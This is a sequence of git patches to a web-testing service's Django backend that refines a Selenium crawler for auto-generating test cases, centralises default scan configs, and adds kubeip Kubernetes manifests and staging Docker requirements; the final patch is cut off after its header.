Date: Fri, 10 May 2024 13:36:33 -0600
Subject: [PATCH 0496/1099] fixed some typos

---
 app/api/utils/autocaser.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ce3f06b..3acc7cc6 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -455,7 +455,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             
             # check local duplicates 
             if check_against is not None:
-                if self.check_for_duplicates(selector=elem_selector, elements=existing_elems):
+                if self.check_for_duplicates(selector=elem_selector, elements=check_against):
                     print(f'found local duplicate => {elem_selector}')
                     continue
             
@@ -472,7 +472,6 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site
-                print(f'current_url: "current_url" ')
                 if not elem_link.startswith(self.site.site_url):
                     print(f'elem links to different site')
                     continue

From ded39799ab291083d063ecb41996a4fa9da7393e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:47:38 -0600
Subject: [PATCH 0497/1099] fixed link issues

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3acc7cc6..fa6d25f7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -466,9 +466,9 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             
             # check url if <a>
             if elem.tag_name == 'a':
-                # check if action will reload page
+                # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
-                if current_url == elem_link:
+                if current_url == elem_link or elem_link == self.site.site_url:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site

From 643a24d6ef5cfab645173fd56c0682fc9205b31d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:58:18 -0600
Subject: [PATCH 0498/1099] added more exceptions to link check

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index fa6d25f7..a1479de5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -468,7 +468,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             if elem.tag_name == 'a':
                 # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
-                if current_url == elem_link or elem_link == self.site.site_url:
+                if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/':
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site

From c185b997643f6418cbade961435c59cc6e1ae0ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 14:10:32 -0600
Subject: [PATCH 0499/1099] testing new conditions

---
 app/api/utils/autocaser.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a1479de5..5576a6e2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -418,7 +418,14 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        
+        # shuffle elements in place
+        random.shuffle(forms)
+        random.shuffle(buttons)
+        random.shuffle(forms)
+        
         current_elements = forms + buttons + links
+
         return current_elements
 
 
@@ -618,6 +625,7 @@ def get_elements(self):
                     # cleaning new elements
                     cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
+                    # iterating through each elem 
                     for elem in cleaned_elements:
 
                         # get sub element info
@@ -724,6 +732,7 @@ def get_elements(self):
                         # add to layers and ending case
                         layers += 1
                         run = False
+                        break
                 
                     if elem.tag_name == 'a' or elem.tag_name == 'button':
                         # record element

From 2e1fc922c85704f540c236042369dbed13dc3409 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 14:15:27 -0600
Subject: [PATCH 0500/1099] adding more to prioroty words

---
 app/api/utils/autocaser.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5576a6e2..77966532 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -383,7 +383,8 @@ def get_priority_elements(self, elements: list) -> dict:
             'cart', 'checkout', 'add to cart', 'add to the cart', 
             'add to basket', 'add to shopping basket', 'add to shopping cart', 
             'add to the cart', 'billing', 'address', 'payment', 'purchase now',
-            'order now', 'order', 'shop now', 'continue to payment',
+            'order now', 'order', 'shop now', 'continue to payment', 'contact', 
+            'apply', 'submit', 
         ]
 
         priority_elements = []

From fa53fe1ca9736b499b199fd2c8faec623ec3d7a5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:08:55 -0600
Subject: [PATCH 0501/1099] added global default configs

---
 app/api/v1/ops/services.py | 99 +++-----------------------------------
 app/scanerr/settings.py    | 17 ++++++-
 2 files changed, 24 insertions(+), 92 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index da90abfd..1f57e65e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -194,18 +194,7 @@ def create_site(request, delay=False):
             create_prospect.delay(user_email=str(user.email))
 
         if not configs:
-            configs = {
-                'window_size': '1920,1080',
-                'interval': 5,
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False,
-                'auto_height': True
-            }
+            configs = settings.CONFIGS
 
         if no_scan == False:
             if delay == True:
@@ -291,18 +280,7 @@ def crawl_site(request, id):
     
     configs = request.data.get('configs', None)
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
     # update site info
     site.time_crawl_completed = None
@@ -495,18 +473,7 @@ def create_page(request, delay=False):
         )
 
         if not configs:
-            configs = {
-                'window_size': '1920,1080',
-                'interval': 5,
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False,
-                'auto_height': True
-            }
+            configs = settings.CONFIGS
 
         if no_scan == False:
 
@@ -595,18 +562,7 @@ def create_many_pages(request, obj_response=False):
             )
 
             if not configs:
-                configs = {
-                    'window_size': '1920,1080',
-                    'interval': 5,
-                    'driver': 'selenium',
-                    'device': 'desktop',
-                    'mask_ids': None,
-                    'min_wait_time': 10,
-                    'max_wait_time': 60,
-                    'timeout': 300,
-                    'disable_animations': False,
-                    'auto_height': True
-                }
+                configs = settings.CONFIGS
 
             if no_scan == False:
 
@@ -863,18 +819,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             return data
 
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
@@ -1282,18 +1227,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
     
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
 
     if site_id is not None and page_id is None:
@@ -1765,17 +1699,7 @@ def create_or_update_schedule(request):
         page_id = str(page_id)
 
     if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-            'timeout': 300,
-            'disable_animations': False
-        }
+        configs = settings.CONFIGS
 
     if schedule_status != None and schedule != None:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
@@ -2753,14 +2677,7 @@ def create_testcase(request, delay=False):
             steps[int(update['index'])]['action']['value'] = update['value']
 
     if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
+        configs = settings.CONFIGS
         
     testcase = Testcase.objects.create(
         case = case,
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 6ced2588..4055b193 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -229,4 +229,19 @@
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE')
 if os.environ.get('STRIPE_ENV') == 'dev':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST')
-    STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
\ No newline at end of file
+    STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
+
+
+# global configs object 
+CONFIGS = {
+    'window_size': '1920,1080',
+    'driver': 'selenium',
+    'device': 'desktop',
+    'mask_ids': None,
+    'interval': 1,
+    'min_wait_time': 3,
+    'max_wait_time': 30,
+    'timeout': 300,
+    'disable_animations': False,
+    'auto_height': True
+}
\ No newline at end of file

From cfe1ffbb9bcb08b011fb4a510e533efec4befc81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:09:20 -0600
Subject: [PATCH 0502/1099] added Process to resource deletion

---
 app/api/tasks.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e936eaa8..92b5bd95 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -497,6 +497,7 @@ def create_auto_cases_bg(
     self, 
     site_id=None,
     process_id=None,
+    start_url=None,
     max_cases=None,
     max_layers=None,
     configs=None
@@ -542,15 +543,18 @@ def create_testcase_bg(
 @shared_task
 def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
+    max_proc_date = datetime.now() - timedelta(days=1)
 
     if account_id is not None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
+        processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
+        processes = Process.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -561,6 +565,9 @@ def delete_old_resources(account_id=None, days_to_live=30):
     for testcase in testcases:
         delete_testcase_s3_bg.delay(testcase.id)
         testcase.delete()
+    for process in processes:
+        process.delete()
+    
     
     logger.info('Cleaned up resources')
 

From 7a2296be9349b5471ea47f0d083428dc537a5c93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:23:23 -0600
Subject: [PATCH 0503/1099] added configs and start_url to AutoCase

---
 app/api/tasks.py           |  2 ++
 app/api/utils/autocaser.py | 37 +++++++++++++++++++++++++++++++------
 app/api/v1/ops/services.py | 18 +++++++++++++-----
 3 files changed, 46 insertions(+), 11 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 92b5bd95..2a304f27 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -510,6 +510,8 @@ def create_auto_cases_bg(
     AC = AutoCaser(
         site=site,
         process=process,
+        start_url=start_url,
+        configs=configs,
         max_cases=max_cases,
         max_layers=max_layers,
     )
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 77966532..221387f7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -17,7 +17,9 @@ class AutoCaser():
     def __init__(
         self, 
         site,
-        process, 
+        process,
+        start_url: str=None,
+        configs: dict=settings.CONFIGS,
         max_cases: int=4, 
         max_layers: int=5,
     ):
@@ -25,6 +27,8 @@ def __init__(
         # main objects & configs
         self.site = site
         self.process = process
+        self.start_url = start_url
+        self.configs = configs
         self.max_cases = max_cases
         self.max_layers = max_layers
         
@@ -34,7 +38,10 @@ def __init__(
         self.elements = []
 
         # starting driver
-        self.driver = driver_init()
+        self.driver = driver_init(
+            window_size=self.configs.get('window_size'),
+            device=self.configs.get('device'),
+        )
 
         # setting selector script
         self.selector_script = (
@@ -193,7 +200,12 @@ def get_elem_text(self, selector: str) -> str:
     def record_forms(self, elements: list, form: object=None) -> list:
 
         # wait for page to load 
-        driver_wait(driver=self.driver)
+        driver_wait(
+            driver=self.driver,
+            interval=self.configs.get('interval'),
+            max_wait_time=self.configs.get('max_wait_time'),
+            min_wait_time=self.configs.get('min_wait_time'),
+        )
 
         # building forms list
         if form is None:
@@ -496,7 +508,10 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
     def get_elements(self):
 
         # get site page
-        self.driver.get(self.site.site_url)
+        if self.start_url is not None:
+            self.driver.get(self.start_url)
+        if self.start_url is None:
+            self.driver.get(self.site.site_url)
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
@@ -574,7 +589,12 @@ def get_elements(self):
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
                 self.driver.get(start_page)
-                driver_wait(driver=self.driver)
+                driver_wait(
+                    driver=self.driver,
+                    interval=self.configs.get('interval'),
+                    max_wait_time=self.configs.get('max_wait_time'),
+                    min_wait_time=self.configs.get('min_wait_time'),
+                )
 
             # getting element by selector
             try:
@@ -615,7 +635,12 @@ def get_elements(self):
                 print(f'on layer -> {layers}')
 
                 # driver wait
-                driver_wait(driver=self.driver)
+                driver_wait(
+                    driver=self.driver,
+                    interval=self.configs.get('interval'),
+                    max_wait_time=self.configs.get('max_wait_time'),
+                    min_wait_time=self.configs.get('min_wait_time'),
+                )
 
                 # check current page
                 if self.driver.current_url == previous_url:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1f57e65e..01d117c7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,6 +171,10 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # get/set configs
+        if not configs:
+            configs = settings.CONFIGS
+
         # create process obj
         process = Process.objects.create(
             site=site,
@@ -183,6 +187,8 @@ def create_site(request, delay=False):
         create_auto_cases_bg.delay(
             site_id=site.id,
             process_id=process.id,
+            start_url=str(site.site_url),
+            configs=configs,
             max_cases=4,
             max_layers=6
         )
@@ -193,9 +199,6 @@ def create_site(request, delay=False):
             # send POST to landing/v1/ops/prospect
             create_prospect.delay(user_email=str(user.email))
 
-        if not configs:
-            configs = settings.CONFIGS
-
         if no_scan == False:
             if delay == True:
                 # adding pages passed in request
@@ -2509,6 +2512,7 @@ def create_auto_cases(request):
     # get data
     site_id = request.data.get('site_id')
     site_url = request.data.get('site_url')
+    start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
     configs = request.data.get('configs')
@@ -2537,7 +2541,10 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
-            
+    
+    # get/set configs
+    if not configs:
+        configs = settings.CONFIGS
 
     # create process obj
     process = Process.objects.create(
@@ -2551,9 +2558,10 @@ def create_auto_cases(request):
     create_auto_cases_bg.delay(
         site_id=site_id,
         process_id=process.id,
+        start_url=start_url,
+        configs=configs,
         max_cases=max_cases,
         max_layers=max_layers,
-        configs=configs
     )
 
     # return response

From fb3c7b74dab2e15aa957db8f80ef2b9cbfa70385 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 12:16:58 -0600
Subject: [PATCH 0504/1099] getting unique elems not associated with a form

---
 app/api/utils/autocaser.py | 27 ++++++++++++++++++++++++---
 1 file changed, 24 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 221387f7..26491be8 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -431,13 +431,34 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = inputs + textareas + buttons
+
+        # get all form inputs, textareas, & buttons
+        form_elems = []
+        for form in forms:
+            # form inputs
+            form_inputs = form.find_elements(By.TAG_NAME, 'input')
+            inputs_textareas_buttons += form_inputs
+            # textarea inputs
+            form_textares = form.find_elements(By.TAG_NAME, 'textarea')
+            inputs_textareas_buttons += form_textares
+            # textarea inputs
+            form_buttons = form.find_elements(By.TAG_NAME, 'button')
+            inputs_textareas_buttons += form_buttons
+        
+        # then remove duplicates
+        for elem in inputs_textareas_buttons:
+            if elem in form_elems:
+                inputs_textareas_buttons.remove(elem)
         
         # shuffle elements in place
         random.shuffle(forms)
-        random.shuffle(buttons)
-        random.shuffle(forms)
+        random.shuffle(inputs_textareas_buttons)
+        random.shuffle(links)
         
-        current_elements = forms + buttons + links
+        current_elements = forms + inputs_textareas_buttons + links
 
         return current_elements
 

From 601b1e59dea5ed8498c9885c07d7c8860c4143dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 12:39:29 -0600
Subject: [PATCH 0505/1099] added .5 sec of sleep for element img capture

---
 app/api/utils/autocaser.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 26491be8..289fae3d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -167,6 +167,8 @@ def is_element_visible(self, element: object) -> bool:
     def get_element_image(self, element: object):
         try:
             image = element.screenshot_as_base64
+            # sleep for .5 seconds to let image process
+            time.sleep(.5)
         except:
             image = None
         return image

From 7e63bb2c6f9245e5ee23f5b4929c524d22a3911a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:18:11 -0600
Subject: [PATCH 0506/1099] adding kubeip for static node IP Addresses

---
 k8s/prod/kubeip-daemon.yaml  | 35 +++++++++++++++++++++++++++++++++++
 k8s/prod/kubeip-service.yaml | 32 ++++++++++++++++++++++++++++++++
 notes/Kubernetes.md          |  8 +++++++-
 3 files changed, 74 insertions(+), 1 deletion(-)
 create mode 100644 k8s/prod/kubeip-daemon.yaml
 create mode 100644 k8s/prod/kubeip-service.yaml

diff --git a/k8s/prod/kubeip-daemon.yaml b/k8s/prod/kubeip-daemon.yaml
new file mode 100644
index 00000000..c978f8b6
--- /dev/null
+++ b/k8s/prod/kubeip-daemon.yaml
@@ -0,0 +1,35 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: kubeip
+spec:
+  selector:
+    matchLabels:
+      app: kubeip
+  template:
+    metadata:
+      labels:
+        app: kubeip
+    spec:
+      serviceAccountName: kubeip-service-account
+      terminationGracePeriodSeconds: 30
+      priorityClassName: system-node-critical
+      nodeSelector:
+        kubeip.com/public: "true"
+      containers:
+        - name: kubeip
+          image: doitintl/kubeip-agent
+          resources:
+            requests:
+              cpu: 100m
+          env:
+            - name: NODE_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: spec.nodeName
+            # - name: FILTER
+            #   value: PUT_PLATFORM_SPECIFIC_FILTER_HERE
+            - name: LOG_LEVEL
+              value: debug
+            - name: LOG_JSON
+              value: "true"
\ No newline at end of file
diff --git a/k8s/prod/kubeip-service.yaml b/k8s/prod/kubeip-service.yaml
new file mode 100644
index 00000000..590b9312
--- /dev/null
+++ b/k8s/prod/kubeip-service.yaml
@@ -0,0 +1,32 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: kubeip-service-account
+  namespace: kube-system
+---
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: kubeip-cluster-role
+rules:
+  - apiGroups: [ "" ]
+    resources: [ "nodes" ]
+    verbs: [ "get" ]
+  - apiGroups: [ "coordination.k8s.io" ]
+    resources: [ "leases" ]
+    verbs: [ "create", "get", "delete" ]
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: kubeip-cluster-role-binding
+subjects:
+  - kind: ServiceAccount
+    name: kubeip-service-account
+    namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: kubeip-cluster-role
+  apiGroup: rbac.authorization.k8s.io
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 01a484fd..647abe5b 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -80,8 +80,9 @@ kubectl port-forward service/app-service 8000:8000
     - ``` kubectl apply db-deployment.yaml ``` 
 11. port forwarding to app deployment
    -  ``` kubectl port-forward service/app-service 8000:8000 ```
+  
 
-      
+---
 
 ## Setps to Deploy Remotely
 
@@ -138,6 +139,11 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
+### 9. Install kubeip dameon & service
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-service.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-daemon.yaml`
+
+
 ### NOTES:
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`

From 13b4397f1586d105b2fe0128731d32505e20fce1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:18:29 -0600
Subject: [PATCH 0507/1099] updated staging configs and requirements

---
 Dockerfile.local         | 12 +++++----
 requirements-staging.txt | 58 ++++++++++++++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+), 5 deletions(-)
 create mode 100644 requirements-staging.txt

diff --git a/Dockerfile.local b/Dockerfile.local
index b336cdf6..476510e4 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -1,16 +1,17 @@
 FROM --platform=linux/amd64 ubuntu:latest
+ENV DOCKER_DEFAULT_PLATFORM linux/amd64 
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
 # create the app user
-RUN addgroup --system app && adduser --system app 
+RUN groupadd --system app & useradd --system app 
 
 # installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
+RUN apt-get update && apt-get install -y python3.10 python3-pip
 
 # installing system deps || chromium-browser chromium-driver
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig 
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig
     
 # extra packages
 RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
@@ -46,8 +47,9 @@ ENV DOCKERIZED yes
 RUN google-chrome-stable --no-sandbox --version
 
 # installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
+RUN python3 -m pip install --break-system-packages --upgrade setuptools
+COPY ./requirements.txt /requirements-staging.txt
+RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt
 
 # setting working dir
 RUN mkdir /app
diff --git a/requirements-staging.txt b/requirements-staging.txt
new file mode 100644
index 00000000..67a4e702
--- /dev/null
+++ b/requirements-staging.txt
@@ -0,0 +1,58 @@
+amqp==5.2.0
+asgiref==3.8.1
+beautifulsoup4==4.12.2
+billiard==4.2.0
+boto3==1.20.32
+celery==5.4.0
+certifi==2023.7.22
+chardet==4.0.0
+click==8.1.7
+click-didyoumean==0.3.1
+click-plugins==1.1.1
+click-repl==0.3.0
+Django==5.0.6
+django-celery-beat==2.6.0
+django-filter==24.2
+djangorestframework==3.15.1
+django-markdownify==0.9.5
+django-cors-headers==4.3.1
+django-storages==1.14.3
+djangorestframework-simplejwt==5.3.1
+docker==5.0.0
+gunicorn==20.1.0
+humanize==3.7.0
+idna==2.10
+imutils==0.5.4
+kombu==5.3.7
+Markdown==3.6
+numpy~=1.26.4
+opencv-python==4.5.5.64
+Pillow==10.3.0
+prometheus-client==0.8.0
+prompt-toolkit==3.0.43
+psycopg2==2.9.9
+pyjwt==2.1.0
+pyppeteer==1.0.2
+pytz==2021.1
+redis==3.5.3
+requests==2.25.1
+reportlab==4.2.0
+scikit-image==0.23.2
+scipy==1.13.0
+selenium==4.18.1
+sendgrid==6.9.7
+six==1.16.0
+slack-sdk==3.11.2
+sqlparse==0.4.1
+stripe==8.0.0
+tornado==6.1
+twilio==7.3.0
+urllib3==1.26.5
+vine==5.1.0
+wcwidth==0.2.5
+websocket-client==1.0.1
+whitenoise==6.1.0
+
+
+
+

From 6529bcf8a90b089c36bd1953bd54c624bfbb6c5b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:50:01 -0600
Subject: [PATCH 0508/1099] adding mroe exception handeling

---
 app/api/utils/autocaser.py | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 289fae3d..a65db315 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -711,7 +711,7 @@ def get_elements(self):
                             break
                         
                         # found new form, record and end run
-                        if elem.tag_name == 'form':
+                        elif elem.tag_name == 'form':
                             
                             # record form into sub_elements list
                             sub_elements = self.record_forms(
@@ -783,7 +783,7 @@ def get_elements(self):
                         run = False
                         break
                 
-                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                    elif elem.tag_name == 'a' or elem.tag_name == 'button':
                         # record element
                         sub_elements.append({
                             'selector': elem_selector,
@@ -807,6 +807,15 @@ def get_elements(self):
                         except Exception as e:
                             print('Element not Clickable, removing')
                             sub_elements.pop()
+                    
+                    # catching all other situations
+                    # naving back to previous_url   
+                    else:
+                        print('no coditions were met')
+                        # add to layers
+                        layers += 1
+                        # going back
+                        self.driver.get(previous_url)
 
                 # catching all other situations
                 # naving back to previous_url   

From 056348b45966f620d4770822231069859b130b00 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 19:59:29 -0600
Subject: [PATCH 0509/1099] cleaned up spacing

---
 app/api/utils/autocaser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a65db315..591753f2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -164,6 +164,7 @@ def is_element_visible(self, element: object) -> bool:
 
 
 
+
     def get_element_image(self, element: object):
         try:
             image = element.screenshot_as_base64

From a9112caefb61967dd54b6ddc97d8a8ee832afe8f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:16:47 -0600
Subject: [PATCH 0510/1099] testing new method to grab forms when possible

---
 app/api/utils/autocaser.py | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 591753f2..20053235 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -420,6 +420,14 @@ def get_priority_elements(self, elements: list) -> dict:
                 elif element not in non_priority_elements:
                     non_priority_elements.append(element)
 
+        # if priotity_elements[] is empty
+        # look for any forms and add them
+        if len(priority_elements) == 0:
+            for element in elements:
+                if element.tag_name == 'form':
+                    # add to priority
+                    priority_elements.append(element)
+
         data = {
             'priority_elements': priority_elements, 
             'non_priority_elements': non_priority_elements
@@ -434,9 +442,9 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
-        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
-        inputs_textareas_buttons = inputs + textareas + buttons
+        # inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        # textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = buttons # inputs + textareas +
 
         # get all form inputs, textareas, & buttons
         form_elems = []

From e79df0fadf42fb7386dcd9091b4f76ae60191d65 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:49:18 -0600
Subject: [PATCH 0511/1099] testing new duplicate search method

---
 app/api/utils/autocaser.py | 32 +++++++++++++++++++-------------
 1 file changed, 19 insertions(+), 13 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 20053235..732d2a48 100644
--- a/app/api/utils/autocaser.py
